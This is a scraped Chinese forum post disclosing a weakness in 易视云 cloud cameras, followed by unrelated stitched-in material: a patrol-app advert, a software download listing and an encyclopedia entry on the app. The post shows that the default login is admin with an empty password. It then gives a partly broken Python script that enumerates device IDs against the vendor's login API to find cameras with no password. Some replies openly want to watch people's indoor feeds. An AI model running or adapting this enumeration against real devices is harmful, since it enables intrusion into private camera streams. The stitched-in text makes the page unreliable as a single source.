查看: 4334|回复: 50
物联网时代-网络摄像头成安全隐患（易视云摄像头分析）
阅读权限255
TA的每日心情开心 14:07签到天数: 10 天[LV.3]偶尔看看II
物联网时代-网络摄像头成安全隐患
& && &本文原创首发于（） 转载请注明出处！谢谢！！
作者：飘云&蓝枫&&[]
& && &互联网发展到了现今这个阶段，又发生了一种变化，那便是物联网了。说起物联网，您会想到什么？GPS、智能电表、车联网、网络监控？好吧，这都只是冰山一角。物联网，不管是广度还是深度，都已经超越了互联网。甚至，物联网虽然是以互联网为核心诞生，却在某些方面，远离了互联网。和很多物品一样，互联网也成了物联网的一个组成部分。但不管物联网还是互联网，用户的信息安全还是在首位的。
& && &但在面临为用户提供便利还是安全这道选择题时，厂商几乎无一例外地会选择便利。无论如何，不管一个设备可能有多安全，必定有其软肋。比如说，我们最近买了一台云监控摄像头。今天闲来无事，对这台物联网设备的手机软件进行了一番分析，发现一些安全隐患。
App上连接机制是这样的：输入官方提供的云ID、用户名和密码
默认用户名：admin 默认密码：空（漏洞开始！漏洞开始！漏洞开始！ 重要事情说三遍）
现在祭出抓包神器Charles，手机设置代理开始抓包！
看关键字应该是一个API接口，这个我们目前不需要管。直接顺藤摸瓜找到主域，并输入ID、密码顺利登陆：
这里虽然没有获取到设备信息，但是给了我们一种思路--现在只需要枚举到正确的设备ID就可能入侵到无密码的摄像头~
顺便抓了一下登录成功的包：
有了上面的思路，现在写一段Python脚本随便跑一个ID值范围
[Python] 纯文本查看 复制代码#!/usr/bin/env python
# -*- coding: utf-8 -*-
: 飘云、蓝枫
: [url=][/url]
# @Comment : 易视云摄像头ID枚举
import requests
f = open('id.txt', 'a')
def check(devid):
payload = {'devid': devid, 'devname': 'admin',
'devpwd': '', 'action': 'LoginByEseeId'}
r = requests.post(&/ess/index.php&, data=payload)
ret = r.text
if ret.find('1#') != -1:
f.write(str(devid) + '\n')
if __name__ == '__main__':
for x in xrange(, ):
随便跑了一会儿，得到不少有效ID：
抽取几个随便测试下：
当然如果要得到更加详细的摄像头信息，可以深入分析一下他们的SDK，这里就不做详细研究了！！现在设想一下，不远的将来会有数以万亿个设备，这类情况到时会何等严峻。突然，我们目前缺乏安全和隐私与一旦物联网启动并运行起来，我们可能面临的严重势态相比似乎微不足道。
本帖子中包含更多资源
才可以下载或查看，没有帐号？
PYG有你更精彩！
PYG有你更精彩！
PYG有你更精彩！
PYG有你更精彩！
PYG有你更精彩！
感谢发布原创作品！
本帖被以下淘专辑推荐:
& |主题: 342, 订阅: 19
阅读权限50
中流砥柱, 积分 477, 距离下一级还需 523 积分
中流砥柱, 积分 477, 距离下一级还需 523 积分
TA的每日心情慵懒 22:01签到天数: 112 天[LV.6]常住居民II
本帖最后由 0xcb 于
10:52 编辑
python好玩啊，跑的好快，一会儿就是一堆:D
阅读权限255
该用户从未签到
密码为空，摄像头官方威武霸气，为啥不加上不设密码无法使用 。。。
阅读权限110
TA的每日心情怒前天&08:14签到天数: 364 天[LV.8]以坛为家I
技术高深，我想看AV
阅读权限116
TA的每日心情无聊 22:21签到天数: 187 天[LV.7]常住居民III
好赞。。深度好文。。
阅读权限10
锋芒初露, 积分 10, 距离下一级还需 20 积分
锋芒初露, 积分 10, 距离下一级还需 20 积分
TA的每日心情奋斗 21:25签到天数: 21 天[LV.4]偶尔看看III
好文，赞一个，
阅读权限10
锋芒初露, 积分 10, 距离下一级还需 20 积分
锋芒初露, 积分 10, 距离下一级还需 20 积分
TA的每日心情奋斗 21:25签到天数: 21 天[LV.4]偶尔看看III
学习了，很好的文章
阅读权限20
意气风发, 积分 41, 距离下一级还需 59 积分
意气风发, 积分 41, 距离下一级还需 59 积分
TA的每日心情奋斗 11:08签到天数: 38 天[LV.5]常住居民I
学习了，值得收藏，谢
阅读权限50
中流砥柱, 积分 562, 距离下一级还需 438 积分
中流砥柱, 积分 562, 距离下一级还需 438 积分
TA的每日心情奋斗10&小时前签到天数: 411 天[LV.9]以坛为家II
我现在上班这个公司就做安防的,以前做一个云ID的,不知道大大们能不能破解呢哈哈
阅读权限115
TA的每日心情开心昨天&21:10签到天数: 388 天[LV.9]以坛为家II
各种V.............我要看室内的V.............
Powered by巡宝，视频化远程信息管理专家
巡宝是基于移动视频的巡更、巡检、巡查等的远程信息化采集、管理和分析服务工具立足于最简单的方式可信可靠的解决“巡逻”管理痛点巡宝让“处于石器时代的巡检、巡更、巡查”搭上移动互联网的翅膀
硬件设备采购部署单次采购成本高
硬件设备后续维护、更新、损耗成本高
各自为战不开放，没有互联互通
还在使用巡更棒、单机软件，干着传统的活儿
没有统一的软件管理平台支持，管理不便
告别巡更棒，从未如此简单
支持Android和 iOS 系统，GPS 定位巡检系统，并实时上传巡检信息
无限量储存，解除后顾之忧
无论您企业下的巡更记录有多少，视频、照片有多少，都会安全地为您保存在云端
网罗历史数据，让管理易如反掌
巡检人员的所有巡检信息都能在后台中回溯，管理人员可轻松了解全局状况
多维度记录，隐患无处可藏
巡检人员可使用照片、视频、文字记录信息，最大限度减少巡检人员和管理人员的信息不对称率
拒绝一次性投入，付费更加自由
无需部署私有服务器，只需注册一个账号，即可享受所有服务灵活的付费方式，可大幅度减小企业财政负担
提升工作效率
通过移动视频进行远程管理和迅速决策，提升工作效率
降低管理成本
可视化数据化的分析管理，降低内部管理成本
节省资金成本
无需硬件设备及后续维护投入，节省企业运维成本
*联系人名字
*联系人电话易视云远程监控 1.8.5 最新版
投诉建议：
千万流量共享 百度高权重排名
软件大小： 27.3M
软件厂商：
软件语言： 简体中文
软件授权： 免费
软件评级：
应用平台：Win2000 Win2003
更新时间：
编辑推荐：
易视云电脑版是一款能够为用户提供实时远程监控的软件。软件还能提供语音对话，远程报警，和视频录制功能。所以说它非常适合一些重要的公共场所进行监控和管理。软件显示高清，安全免费，可以放心使用。用户也可以用来远程看家，真的非常不错。功能介绍：1.语音对讲2.实时预览3.云台控制4.支持云登录5.远程录像回放软件特色：1.720P高清，夜视，视频截图2.本地录制，定时录制，报警录制3.报警消息推送、邮件提醒4.远程抓拍报警视频并存储到云端5.录像预览，多屏同时观看多个采集画面
7MB|46MB|128.0KB|3MB|3MB|7MB|
聚超值推荐
今日更新推荐
软件分类目录
同类软件下载排行
热门关键词简介/易视云
易视云 支持手机远程访问功能，设备连接到网络后，用户在手机软件添加设备栏目处输入设备的云ID号或设备的局域网ip地址或动态域名，实现远程手机访问。说明
●目前手机客户端支持简体中文、英文两种语言，当系统语言为中文时显示中文语言，若为系统语言为英文则显示英文语言；
●手机客户端访问分为易视网 访问和局域网访问两种方式；
●手机客户端支持android和ios；
●动态域名需向提供商申请，填写在录像机网络设置的DDNS动态域名栏目。
使用方法/易视云
方法一：直接在各大手机应用市场搜索下载即可。2、登录。打开软件后，如下图所示：1注意：
●&首次安装完成登陆时会弹出登录界面，若未有登录账户可注册一个账户，账户登录后每次打开软件时直接进入设备界面。注册时可按照提示填写用户名和密码信息，输入邮箱（邮箱用于忘记密码时找回密码，可跳过），亦可选择体验一下进入手机客户端添加设备。
●&选择体验一下，每次重新打开软件时都会先进入登录界面。
●&登陆账户后设备信息将保存在服务器上，在别的手机中登陆该账户时添加好的设备将自动显示，无需重新添加。若选择体验一下则添加好的设备信息不能在别的手机中显示。3、添加设备。点击右上角+号，选择云ID，填写录像机连接信息。如下图所示：2说明
●&点选+号，添加的设备可选云ID，ip/DDNS，局域网扫描。
●&账户登录后系统自动识别ID号路数，添加后点提交即可完成添加。
●&体验一下模式中需选择正确路数，默认为4路。4、预览。点击已添加的设备即进入预览。默认为4通道，可选择某一通道进行预览。如下图所示：3说明
●&最大可同时预览16通道。
●&支持4/6/8/9/13/16画面分割同时预览。5、远程回放。在预览界面中点远程回放，进入回放界面，如下图所示：4说明
●&远程回放可拉动竖条选择具体的某一段时间，点选通道选择具体的某一个通道。
●&支持1路回放。
●&若录像有声音，则回放时也带声音。
●&点选录像，可同时在回放时录像，录像保存在手机。
●&点选快照，可截取当前回放画面。6、快照/录像/画质5说明
●&点选快照可截取当前画面。
●&点选录像可将视频保存在手机。
●&点选画质，可选高清或者标清，高清是主码流，标清是子码流。
&|&相关影像
互动百科的词条（含所附图片）系由网友上传，如果涉嫌侵权，请与客服联系，我们将按照法律之相关规定及时进行处理。未经许可，禁止商业网站等复制、抓取本站内容；合理使用者，请注明来源于。
登录后使用互动百科的服务，将会得到个性化的提示和帮助，还有机会和专业认证智愿者沟通。
此词条还可添加&
编辑次数：2次
参与编辑人数：1位
最近更新时间： 15:25:39
申请可获得以下专属权利：
贡献光荣榜更多热门推荐
您的位置： &
易视云是一款远程视屏监控服务软件，通过软件可以链接远程的视频设备，可以查看视频、截图、录像，报警信息。
通过优化的P2P通讯协议，保证互联网的连通性
苹果版下载
安卓版下载
电脑版下载
本站仅创建用户沟通交流的信息平台，所展示的游戏/软件内容来均来自于第三方用户上传分享，资源仅作为用户间分享讨论之用，除开发商授权外不以盈利为目的。如果侵犯了您的权益，请反馈，我们将第一时间处理。
1乐橙v1.20.0生活应用
2借贷宝v1.2生活应用
3农村淘宝v3.0.0生活应用
4虹领巾v1.0.4生活应用
5喵街v1.1.0生活应用
6京东众包v1.0.4生活应用
7育学园v1.1生活应用
8烧杯v1.0生活应用
9巴士管家v1.0.1生活应用
10海尔洗衣v00.22生活应用
热门游戏：
最新游戏：
网络游戏：|}